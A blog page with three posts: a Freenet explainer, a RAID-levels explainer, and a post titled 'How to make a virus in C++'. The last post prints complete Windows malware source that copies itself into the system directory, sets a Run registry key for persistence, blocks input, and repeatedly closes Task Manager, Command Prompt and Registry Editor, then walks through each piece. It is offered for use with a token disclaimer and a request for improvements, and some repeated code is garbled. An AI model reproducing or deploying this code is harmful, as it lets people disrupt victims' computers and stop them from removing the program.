Sunday, 16 July 2017

What is Freenet and how it works ?

The go-to site for newbies browsing .onion links is Tor. Any research you find on accessing the dark net includes explicit instructions on downloading Tor Browser before doing anything else. For more experienced users,the Freenet network is also downloaded in addition to Tor. Both are secure browsers. Both also have a colossal difference.
Freenet’s official website explains,
“Freenet is free software which lets you anonymously share files, browse and publish “freesites” (web sites accessible only through Freenet) and chat on forums, without fear of censorship. Freenet is decentralized to make it less vulnerable to attack, and if used in “darknet” mode, where users only connect to their friends, is very difficult to detect.”
Tor allows encrypted access to both the web and anonymous web servers. Freenet is a self-contained network. In other words, websites like Facebook and Google are not accessible through Freenet. This is not a big deal. With Freenet’s “Friend to Friend” or “Darknet” mode available, users are happy.
Infrastructures by Freenet nodes already encrypt and route through other nodes for maximum privacy. Friend to Friend mode is taking it one step further. This option allows users to connect their Freenet node to other nodes run solely by their friends.
“An important recent development, which very few other networks have, is the “darknet”: By only connecting to people they trust, users can greatly reduce their vulnerability, and yet still connect to a global network through their friends’ friends’ friends and so on. This enables people to use Freenet even in places where Freenet may be illegal, makes it very difficult for governments to block it, and does not rely on tunneling to the “free world”.”
Despite the popularity surrounding this option, most users still operate Freenet in “opennet” mode. Because of this, users are strongly recommended to use a VPN service while operating Freenet.

Friday, 14 July 2017

RAID 0, RAID 1, RAID 5, RAID 10 fully explained

We use raid for Redundancy of the storage especially when it enterprise data.
RAID stands for Redundant Array of Inexpensive (Independent) Disks.
In the most of the scenarios you will be using the following raid configuration.
  • RAID 0
  • RAID 1
  • RAID 5
  • RAID 10 (also known as RAID 1+0)
This article explains the main difference between these raid levels along with an easy to understand diagram.

In all the diagrams mentioned below:
  • A, B, C, D, E and F – represents blocks
  • p1, p2, and p3 – represents parity

RAID LEVEL 0(zero)

raid-0
Following are the key points to remember for RAID level 0.
  • Minimum 2 disks.
  • Excellent performance ( as blocks are striped ).
  • No redundancy ( no mirror, no parity ).
  • Don’t use this for any critical system.

RAID LEVEL 1

raid-1
Following are the key points to remember for RAID level 1.
  • Minimum 2 disks.
  • Good performance ( no striping. no parity ).
  • Excellent redundancy ( as blocks are mirrored ).

RAID LEVEL 5

raid-5
Following are the key points to remember for RAID level 5.
  • Minimum 3 disks.
  • Good performance ( as blocks are striped ).
  • Good redundancy ( distributed parity ).
  • Best cost effective option providing both performance and redundancy. Use this for DB that is heavily read oriented. Write operations will be slow.

RAID LEVEL 10

raid10
  • Minimum 4 disks.
  • This is also called as “stripe of mirrors”
  • Excellent redundancy ( as blocks are mirrored )
  • Excellent performance ( as blocks are striped )
  • If you can afford the dollar, this is the BEST option for any mission critical applications (especially databases).
Take your time to comment on this article.

How to make a virus in C++


Here I’m today with an another Post This time Specially For Our Visitors. Please the Code Down Is not to be used For any Wrong Purpose You are Yourself Responsible for, and Consequence That May Follow by the unauthorized use.
Virus Making Is A crime and i don’t Take Any Clam over the Code it is not written By ME.
#include "iostream"
#include "stdio.h"
#include "windows.h"
#include "winable.h"
#include "conio.h"
#include "ctime"
using namespace std;

int random, Freq, Dur, X, Y;
HWND mywindow, TaskMgr, CMD, Regedit;
char Notepad[MAX_PATH]="notepad.exe";
char MineSweeper[MAX_PATH]="winmine.exe";
char Hearts[MAX_PATH]="mshearts.exe";
char Website[MAX_PATH]="http:\\www.google.com";

void SetUp();
void Run( int ID );
void Beeper(), OpenStuff(), Hibernation(), CrazyMouse();

DWORD WINAPI DestroyWindows(LPVOID);

int main()
{
srand( time(0) );
random = rand()%6;
system("title :.Virus.:");
BlockInput( true );
SetUp();
BlockInput( false );
CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
while(1)
{
Run( random );
Sleep(10);
}
}
void SetUp()
{
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));
strcat(system,"\\winminer.exe");
CopyFile(pathtofile,system,false);

HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Mcft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);

mywindow = FindWindow(NULL,":.Virus.:");
cout<<"You Are Doomed cyberot";
Sleep(1000);
ShowWindow(mywindow, false);
}

void Run( int ID )
{
if( ID == 1 )
{
BlockInput(true);
}
else if( ID == 2 )
{
Beeper();
}
else if( ID == 3 )
{
OpenStuff();
}
else if( ID == 4 )
{
Hibernation();
}
else if( ID == 5 )
{
CrazyMouse();
}
else
{
BlockInput(true);
Beeper();
OpenStuff();
CrazyMouse();
}
}

void Beeper()
{
Freq = rand()%2001;
Dur = rand()%301;
Beep( Freq, Dur );
}
void OpenStuff()
{
ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",MineSweeper,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",Hearts,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",Website,NULL,NULL,SW_MAXIMIZE);
}
void Hibernation()
{
Sleep(1000);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
}
void CrazyMouse()
{
X = rand()%801;
Y = rand()%601;
SetCursorPos( X, Y );
}

DWORD WINAPI DestroyWindows(LPVOID)
{
while(1)
{
TaskMgr = FindWindow(NULL,"Windows Task Manager");
CMD = FindWindow(NULL, "Command Prompt");
Regedit = FindWindow(NULL,"Registry Editor");
if( TaskMgr != NULL )
{
SetWindowText( TaskMgr, "You Suck Balls Superman");
PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( CMD != NULL )
{
SetWindowText( CMD, "You Suck Balls Superman");
PostMessage( CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( Regedit != NULL )
{
SetWindowText( Regedit, "You Suck Balls Superman");
PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}

Sleep(10);
}
}
Turn off the monitor
void Hibernation()
{
Sleep(1000);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
}
making your mouse go crazy. Make two rand var’s and tell the mouse to goto them
void CrazyMouse()
{
X = rand()%801;
Y = rand()%601;
SetCursorPos( X, Y );
}
open random Apps as it says OpenStuff
void OpenStuff()
{
ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXI MIZE);
ShellExecute(NULL,"open",MineSweeper,NULL,NULL,SW_ MAXIMIZE);
ShellExecute(NULL,"open",Hearts,NULL,NULL,SW_MAXIM IZE);
ShellExecute(NULL,"open",Website,NULL,NULL,SW_MAXI MIZE);
}
Find windows by name and destroy them … Using the FindWindow command lets use do it and if its not null and it found the window open give it a command.
DWORD WINAPI DestroyWindows(LPVOID)
{
while(1)
{
TaskMgr = FindWindow(NULL,"Windows Task Manager");
CMD = FindWindow(NULL, "Command Prompt");
Regedit = FindWindow(NULL,"Registry Editor");
if( TaskMgr != NULL )
{
SetWindowText( TaskMgr, "You Suck Balls Superman");
PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( CMD != NULL )
{
SetWindowText( CMD, "You Suck Balls Superman");
PostMessage( CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( Regedit != NULL )
{
SetWindowText( Regedit, "You Suck Balls Superman");
PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
Add your program to run when windows starts
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Mcft\\W indows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
Make your comp beep different freq and different lengths again by rand numbers
void Beeper()
{
Freq = rand()%2001;
Dur = rand()%301;
Beep( Freq, Dur );
}
That’s pretty much it enjoy the virus and I am not responsible for your actions.
Share your feedback on how the virus can be improved.